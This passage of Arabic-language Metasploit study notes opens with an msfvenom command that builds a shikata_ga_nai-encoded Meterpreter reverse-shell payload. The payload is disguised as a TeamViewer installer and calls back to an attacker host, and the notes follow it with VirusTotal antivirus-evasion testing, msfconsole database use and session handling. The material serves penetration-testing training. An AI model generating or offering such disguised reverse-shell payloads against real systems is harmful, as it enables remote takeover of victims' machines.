msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="/files/724c0172d32b9996248205fbb025b533c89e7e19" alt="" width="563"><figcaption></figcaption></figure>

وكما نرى، فهذا لا يزال غير كافٍ لتجاوز مضادات الفيروسات. لا يزال هناك عدد كبير من المنتجات التي تكتشف الحمولة. وبدلاً من ذلك، يقدّم Metasploit أداة تُسمى `msf-virustotal`يمكننا استخدامها مع مفتاح API لتحليل حمولاتنا. ومع ذلك، يتطلب هذا تسجيلًا مجانيًا على VirusTotal.

### **VirusTotal:**

```shell-session
jord4n@htb[/htb]$ msf-virustotal -k <API key> -f TeamViewerInstall.exe

[*] استخدام مفتاح API: <API key>
[*] يرجى الانتظار بينما أرفع TeamViewerInstall.exe...
[*] VirusTotal: تمت إضافة طلب الفحص إلى قائمة الانتظار بنجاح، عُد لاحقًا للحصول على التقرير
[*] التجزئة MD5 للعينة    : 4f54cc46e2f55be168cc6114b74a3130
[*] التجزئة SHA1 للعينة   : 53fcb4ed92cf40247782de41877b178ef2a9c5a9
[*] التجزئة SHA256 للعينة : 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
[*] رابط التحليل: https://www.virustotal.com/gui/file/<SNIP>/detection/f-<SNIP>-1651750343
[*] جارٍ طلب التقرير...
[*] تم استلام الرمز -2. الانتظار 60 ثانية أخرى...
[*] تم استلام الرمز -2. الانتظار 60 ثانية أخرى...
[*] تم استلام الرمز -2. الانتظار 60 ثانية أخرى...
[*] تم استلام الرمز -2. الانتظار 60 ثانية أخرى...
[*] تم استلام الرمز -2. الانتظار 60 ثانية أخرى...
[*] تم استلام الرمز -2. الانتظار 60 ثانية أخرى...
[*] تقرير التحليل: TeamViewerInstall.exe (51 / 68): 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
==================================================================================================================

 برنامج مكافحة الفيروسات             تم الاكتشاف  الإصدار                                                         النتيجة                                                     التحديث
 ---------             --------  -------                                                         ------                                                     ------
 ALYac                 صحيح      1.1.3.1                                                         Trojan.CryptZ.Gen                                          20220505
 APEX                  صحيح      6.288                                                           Malicious                                                  20220504
 AVG                   صحيح      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Acronis               صحيح      1.2.0.108                                                       suspicious                                                 20220426
 Ad-Aware              صحيح      3.0.21.193                                                      Trojan.CryptZ.Gen                                          20220505
 AhnLab-V3             صحيح      3.21.3.10230                                                    Trojan/Win32.Shell.R1283                                   20220505
 Alibaba               خطأ     0.3.0.5                                                                                                                    20190527
 Antiy-AVL             خطأ     3.0                                                                                                                        20220505
 Arcabit               صحيح      1.0.0.889                                                       Trojan.CryptZ.Gen                                          20220505
 Avast                 صحيح      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Avira                 صحيح      8.3.3.14                                                        TR/Patched.Gen2                                            20220505
 Baidu                 خطأ     1.0.0.2                                                                                                                    20190318
 BitDefender           صحيح      7.2                                                             Trojan.CryptZ.Gen                                          20220505
 BitDefenderTheta      صحيح      7.2.37796.0                                                     Gen:NN.ZexaF.34638.eq1@aC@Q!ici                            20220428
 Bkav                  صحيح      1.3.0.9899                                                      W32.FamVT.RorenNHc.Trojan                                  20220505
 CAT-QuickHeal         صحيح      14.00                                                           Trojan.Swrort.A                                            20220505
 CMC                   خطأ     2.10.2019.1                                                                                                                20211026
 ClamAV                صحيح      0.105.0.0                                                       Win.Trojan.MSShellcode-6360728-0                           20220505
 Comodo                صحيح      34592                                                           TrojWare.Win32.Rozena.A@4jwdqr                             20220505
 CrowdStrike           صحيح      1.0                                                             win/malicious_confidence_100% (D)                          20220418
 Cylance               صحيح      2.3.1.101                                                       Unsafe                                                     20220505
 Cynet                 صحيح      4.0.0.27                                                        Malicious (score: 100)                                     20220505
 Cyren                 صحيح      6.5.1.2                                                         W32/Swrort.A.gen!Eldorado                                  20220505
 DrWeb                 صحيح      7.0.56.4040                                                     Trojan.Swrort.1                                            20220505
 ESET-NOD32            صحيح      25218                                                           a variant of Win32/Rozena.AA                               20220505
 Elastic               صحيح      4.0.36                                                          malicious (high confidence)                                20220503
 Emsisoft              صحيح      2021.5.0.7597                                                   Trojan.CryptZ.Gen (B)                                      20220505
 F-Secure              خطأ     18.10.978-beta,1651672875v,1651675347h,1651717942c,1650632236t                                                             20220505
 FireEye               صحيح      35.24.1.0                                                       Generic.mg.4f54cc46e2f55be1                                20220505
 Fortinet              صحيح      6.2.142.0                                                       MalwThreat!0971IV                                          20220505
 GData                 صحيح      A:25.32960B:27.27244                                            Trojan.CryptZ.Gen                                          20220505
 Gridinsoft            صحيح      1.0.77.174                                                      Trojan.Win32.Swrort.zv!s2                                  20220505
 Ikarus                صحيح      6.0.24.0                                                        Trojan.Win32.Swrort                                        20220505
 Jiangmin              خطأ     16.0.100                                                                                                                   20220504
 K7AntiVirus           صحيح      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 K7GW                  صحيح      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 Kaspersky             صحيح      21.0.1.45                                                       HEUR:Trojan.Win32.Generic                                  20220505
 Kingsoft              خطأ     2017.9.26.565                                                                                                              20220505
 Lionic                خطأ     7.5                                                                                                                        20220505
 MAX                   صحيح      2019.9.16.1                                                     malware (ai score=89)                                      20220505
 Malwarebytes          صحيح      4.2.2.27                                                        Trojan.Rozena                                              20220505
 MaxSecure             صحيح      1.0.0.1                                                         Trojan.Malware.300983.susgen                               20220505
 McAfee                صحيح      6.0.6.653                                                       Swrort.i                                                   20220505
 McAfee-GW-Edition     صحيح      v2019.1.2+3728                                                  BehavesLike.Win32.Swrort.lh                                20220505
 MicroWorld-eScan      صحيح      14.0.409.0                                                      Trojan.CryptZ.Gen                                          20220505
 Microsoft             صحيح      1.1.19200.5                                                     Trojan:Win32/Meterpreter.A                                 20220505
 NANO-Antivirus        صحيح      1.0.146.25588                                                   Virus.Win32.Gen-Crypt.ccnc                                 20220505
 Paloalto              خطأ     0.9.0.1003                                                                                                                 20220505
 Panda                 خطأ     4.6.4.2                                                                                                                    20220504
 Rising                صحيح      25.0.0.27                                                       Trojan.Generic@AI.100 (RDMK:cmRtazqDtX58xtB5RYP2bMLR5Bv1)  20220505
 SUPERAntiSpyware      صحيح      5.6.0.1032                                                      Trojan.Backdoor-Shell                                      20220430
 Sangfor               صحيح      2.14.0.0                                                        Trojan.Win32.Save.a                                        20220415
 SentinelOne           صحيح      22.2.1.2                                                        Static AI - Malicious PE                                   20220330
 Sophos                صحيح      1.4.1.0                                                         ML/PE-A + Mal/EncPk-ACE                                    20220505
 Symantec              صحيح      1.17.0.0                                                        Packed.Generic.347                                         20220505
 TACHYON               خطأ     2022-05-05.02                                                                                                              20220505
 Tencent               صحيح      1.0.0.1                                                         Trojan.Win32.Cryptz.za                                     20220505
 TrendMicro            صحيح      11.0.0.1006                                                     BKDR_SWRORT.SM                                             20220505
 TrendMicro-HouseCall  صحيح      10.0.0.1040                                                     BKDR_SWRORT.SM                                             20220505
 VBA32                 خطأ     5.0.0                                                                                                                      20220505
 ViRobot               صحيح      2014.3.20.0                                                     Trojan.Win32.Elzob.Gen                                     20220504
 VirIT                 خطأ     9.5.188                                                                                                                    20220504
 Webroot               خطأ     1.0.0.403                                                                                                                  20220505
 Yandex                صحيح      5.5.2.24                                                        Trojan.Rosena.Gen.1                                        20220428
 Zillya                خطأ     2.0.0.4625                                                                                                                 20220505
 ZoneAlarm             صحيح      1.0                                                             HEUR:Trojan.Win32.Generic                                  20220505
 Zoner                 خطأ     2.2.2.0                                                                                                                    20220504
 tehtris               خطأ     v0.1.2                                                                                                                     20220505
```

## قواعد البيانات:

{% hint style="info" %}
`قواعد البيانات`هي `msfconsole`تُستخدم لتتبّع نتائجك. وليس من المستغرب أنه عند تقييم حتى الأجهزة الأكثر تعقيدًا، فضلاً عن الشبكات بأكملها، يمكن أن تصبح الأمور ضبابية ومعقدة بعض الشيء بسبب الكمّ الهائل من نتائج البحث، ونقاط الدخول، والمشكلات المكتشفة، والاعتمادات المكتشفة، وما إلى ذلك. وهنا يأتي دور قواعد البيانات. `msfconsole` يحتوي على دعم مدمج لنظام قاعدة بيانات PostgreSQL. وبفضله نحصل على وصول مباشر وسريع وسهل إلى نتائج التحليل، مع إمكانية إضافية لاستيراد النتائج وتصديرها بالاقتران مع أدوات الجهات الخارجية. ويمكن أيضًا استخدام إدخالات قاعدة البيانات لتكوين إعدادات وحدة Exploit مباشرةً باستخدام النتائج الموجودة بالفعل.
{% endhint %}

### إعداد قاعدة البيانات

أولاً، نحتاج إلى التأكد من أن خادم PostgreSQL يعمل على جهاز المضيف لدينا. للقيام بذلك، أدخل الأمر التالي:

**حالة PostgreSQL**

```bash
sudo service postgresql status
```

**بدء PostgreSQL**

```bash
sudo systemctl start postgresql
```

**بدء قاعدة بيانات**

```bash
sudo msfdb init
```

**تم بدء اتصال قاعدة البيانات**

```bash
sudo msfdb run
```

{% hint style="warning" %}
أما إذا كنا قد قمنا بالفعل بتكوين قاعدة البيانات ولم نتمكن من تغيير كلمة المرور لاسم مستخدم MSF، فتابع بهذه الأوامر:
{% endhint %}

**إعادة تعيين قاعدة البيانات**

```bash
msfdb reinit
cp /usr/share/metasploit-framework/config/database.yml ~/.msf4/
sudo service postgresql restart
msfconsole -q
```

### استخدام قاعدة البيانات

```bash
help database

أوامر الواجهة الخلفية لقاعدة البيانات
=========================

    الأمر           الوصف
    -------           -----------
    db_connect        الاتصال بقاعدة بيانات موجودة
    db_disconnect     قطع الاتصال عن مثيل قاعدة البيانات الحالي
    db_export         تصدير ملف يحتوي على محتويات قاعدة البيانات
    db_import         استيراد ملف نتيجة فحص (سيتم التعرف على نوع الملف تلقائيًا)
    db_nmap           ينفذ nmap ويسجل المخرجات تلقائيًا
    db_rebuild_cache  يعيد بناء ذاكرة التخزين المؤقت للوحدة المخزنة في قاعدة البيانات
    db_status         عرض حالة قاعدة البيانات الحالية
    hosts             سرد جميع المضيفين في قاعدة البيانات
    loot              سرد جميع الغنائم في قاعدة البيانات
    notes             سرد جميع الملاحظات في قاعدة البيانات
    services          سرد جميع الخدمات في قاعدة البيانات
    vulns             سرد جميع الثغرات في قاعدة البيانات
    workspace         التبديل بين مساحات عمل قاعدة البيانات
```

بعد التأكد من أن قاعدة البيانات متصلة بشكل صحيح، يمكننا تنظيم `مساحات العمل`

#### مساحات العمل:

يمكننا أن نفكر في `مساحات العمل`بالطريقة نفسها التي نفكر بها في ملفات المشاريع. يمكننا فصل نتائج الفحص المختلفة، والمضيفين، والمعلومات المستخرجة حسب عنوان IP أو الشبكة الفرعية أو الشبكة أو النطاق.

```bash
workspace -a Target_1

[*] تمت إضافة مساحة العمل: Target_1
[*] مساحة العمل: Target_1

msf6 > workspace Target_1

[*] مساحة العمل: Target_1

msf6 > workspace

  الافتراضي
* Target_1
```

### استيراد نتائج الفحص

بعد ذلك، لنفترض أننا نريد استيراد `فحص Nmap`ملف من مضيف إلى مساحة عمل قاعدة البيانات لدينا لفهم الهدف بشكل أفضل

```bash
msf6 > db_import Target.xml

[*] استيراد بيانات 'Nmap XML'
[*] الاستيراد: جارٍ التحليل باستخدام 'Nokogiri v1.10.9'
[*] جارٍ استيراد المضيف 10.10.10.40
[*] تم استيراد ~/Target.xml بنجاح

msf6 > hosts

المضيفون
=====

العنوان      mac  الاسم  os_name  os_flavor  os_sp  purpose  info  comments
-------      ---  ----  -------  ---------  -----  -------  ----  --------
10.10.10.40             غير معروف                    جهاز

msf6 > services

الخدمات
========

المضيف         المنفذ   البروتوكول  الاسم          الحالة  المعلومات
----         ----   -----  ----          -----  ----
10.10.10.40  135    tcp    msrpc         مفتوح   Microsoft Windows RPC
10.10.10.40  139    tcp    netbios-ssn   مفتوح   Microsoft Windows netbios-ssn
10.10.10.40  445    tcp    microsoft-ds  مفتوح   Microsoft Windows 7 - 10 microsoft-ds workgroup: WORKGROUP
10.10.10.40  49152  tcp    msrpc         مفتوح   Microsoft Windows RPC
10.10.10.40  49153  tcp    msrpc         مفتوح   Microsoft Windows RPC
10.10.10.40  49154  tcp    msrpc         مفتوح   Microsoft Windows RPC
10.10.10.40  49155  tcp    msrpc         مفتوح   Microsoft Windows RPC
10.10.10.40  49156  tcp    msrpc         مفتوح   Microsoft Windows RPC
10.10.10.40  49157  tcp    msrpc         مفتوح   Microsoft Windows RPC
```

### استخدام Nmap داخل MSFconsole

بدلاً من ذلك، يمكننا استخدام Nmap مباشرةً من msfconsole! للفحص مباشرةً من وحدة التحكم دون الحاجة إلى التشغيل في الخلفية أو الخروج من العملية، استخدم الأمر `db_nmap`.

```bash
db_nmap -sV -sS 10.10.10.8

[*] Nmap: بدء Nmap 7.80 ( https://nmap.org ) في 2020-08-17 21:04 UTC
[*] Nmap: تقرير الفحص للمضيف 10.10.10.8
[*] Nmap: المضيف يعمل (زمن انتقال 0.016 ثانية).
[*] Nmap: غير معروض: 999 منفذًا مُرشَّحًا
[*] Nmap: المنفذ   الحالة الخدمة الإصدار
[*] Nmap: 80/TCP مفتوح  http    HttpFileServer httpd 2.3
[*] Nmap: معلومات الخدمة: نظام التشغيل: Windows؛ CPE: cpe:/o:microsoft:windows
```

### النسخ الاحتياطي للبيانات

بعد انتهاء الجلسة، تأكد من نسخ بياناتك احتياطيًا إذا حدث أي شيء لخدمة PostgreSQL. للقيام بذلك، استخدم `db_export`.

```bash
db_export -h

الاستخدام:
    db_export -f <format> [filename]
    يمكن أن يكون التنسيق أحد القيم التالية: xml, pwdump
```

#### المضيفون:

يمكن أيضًا إضافة المضيفين يدويًا كإدخالات منفصلة في هذا الجدول. بعد إضافة المضيفين المخصصين لدينا، يمكننا أيضًا تنظيم تنسيق الجدول وبنيته، وإضافة التعليقات، وتحرير المعلومات الموجودة، والمزيد.

```bash
hosts -h

الاستخدام: hosts [ options ] [addr1 addr2 ...]

الخيارات:
  -a,--add          أضف المضيفين بدلاً من البحث
  -d,--delete       احذف المضيفين بدلاً من البحث
  -c <col1,col2>    اعرض الأعمدة المحددة فقط (انظر القائمة أدناه)
  -C <col1,col2>    اعرض الأعمدة المحددة فقط حتى إعادة التشغيل التالية (انظر القائمة أدناه)
  -h,--help         اعرض معلومات المساعدة هذه
  -u,--up           اعرض فقط المضيفين النشطين
  -o <file>         أرسل المخرجات إلى ملف بصيغة CSV
  -O <column>       رتّب الصفوف حسب رقم العمود المحدد
  -R,--rhosts       اضبط RHOSTS من نتائج البحث
  -S,--search       سلسلة بحث للتصفية بها
  -i,--info         غيّر معلومات المضيف
  -n,--name         غيّر اسم المضيف
  -m,--comment      غيّر تعليق المضيف
  -t,--tag          أضف وسمًا إلى نطاق من المضيفين أو حدده
```

#### الخدمات هي `الخدمات`يعمل الأمر بالطريقة نفسها كما في الأمر السابق. ويحتوي على جدول يضم الأوصاف والمعلومات حول الخدمات المكتشفة أثناء عمليات الفحص أو التفاعل. وعلى غرار الأمر أعلاه، فإن الإدخالات هنا قابلة للتخصيص بدرجة كبيرة.

```bash
services -h

Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]

  -a,--add          أضف الخدمات بدلاً من البحث
  -d,--delete       احذف الخدمات بدلاً من البحث
  -c <col1,col2>    اعرض الأعمدة المحددة فقط
  -h,--help         اعرض معلومات المساعدة هذه
  -s <name>         اسم الخدمة المراد إضافتها
  -p <port>         ابحث عن قائمة من المنافذ
  -r <protocol>     نوع بروتوكول الخدمة المراد إضافتها [tcp|udp]
  -u,--up           اعرض فقط الخدمات النشطة
  -o <file>         أرسل المخرجات إلى ملف بصيغة csv
  -O <column>       رتّب الصفوف حسب رقم العمود المحدد
  -R,--rhosts       اضبط RHOSTS من نتائج البحث
  -S,--search       سلسلة بحث للتصفية بها
  -U,--update       تحديث بيانات الخدمة الموجودة
```

#### معلومات الاعتماد

الـ `creds`يتيح لك الأمر عرض بيانات الاعتماد التي جُمعت أثناء تفاعلك مع المضيف الهدف. يمكننا أيضًا إضافة بيانات الاعتماد يدويًا، ومطابقة بيانات الاعتماد الموجودة مع مواصفات المنافذ، وإضافة الأوصاف، وما إلى ذلك.

## الجلسات:

### الجلسات

> يمكن لـ MSFconsole إدارة عدة وحدات في الوقت نفسه. وهذا أحد الأسباب العديدة التي تمنح المستخدم هذه المرونة. ويتم ذلك عبر استخدام `الجلسات`، والتي تنشئ واجهات تحكم مخصصة لجميع الوحدات المنشورة لديك.
>
> بمجرد إنشاء عدة جلسات، يمكننا التبديل بينها وربط وحدة مختلفة بإحدى الجلسات الخلفية لتشغيلها أو تحويلها إلى مهام. لاحظ أنه بمجرد وضع جلسة في الخلفية، ستستمر في العمل وستظل اتصالاتنا بالمضيف الهدف قائمة. ومع ذلك، قد تموت الجلسات إذا حدث خطأ ما أثناء تنفيذ الحمولة، مما يؤدي إلى انقطاع قناة الاتصال.

**سرد الجلسات النشطة**

يمكننا استخدام الأمر `الجلسات`الأمر لعرض الجلسات النشطة حاليًا.

```bash
msf6 exploit(windows/smb/psexec_psh) > sessions

الجلسات النشطة
===============

  Id  Name  Type                     Information                 Connection
  --  ----  ----                     -----------                 ----------
  1         meterpreter x86/windows  NT AUTHORITY/SYSTEM @ MS01  10.10.10.129:443 -> 10.10.10.205:50501 (10.10.10.205)
```

**التفاعل مع جلسة**

يمكنك استخدام الأمر `sessions -i [no.]`الأمر لفتح جلسة محددة.

```shell-session
msf6 exploit(windows/smb/psexec_psh) > sessions -i 1
[*] بدء التفاعل مع 1...

meterpreter >
```

### جميع الملاحظات

<table><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/pages/2b8bfbd0610dc4b765c2c86572a99f7809b25ac2">/pages/2b8bfbd0610dc4b765c2c86572a99f7809b25ac2</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/hacking-tools/exploitation/metasploit.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
